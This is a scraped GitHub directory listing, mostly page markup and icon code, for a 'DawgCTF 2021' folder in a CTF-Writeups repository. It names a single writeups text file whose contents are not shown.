js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
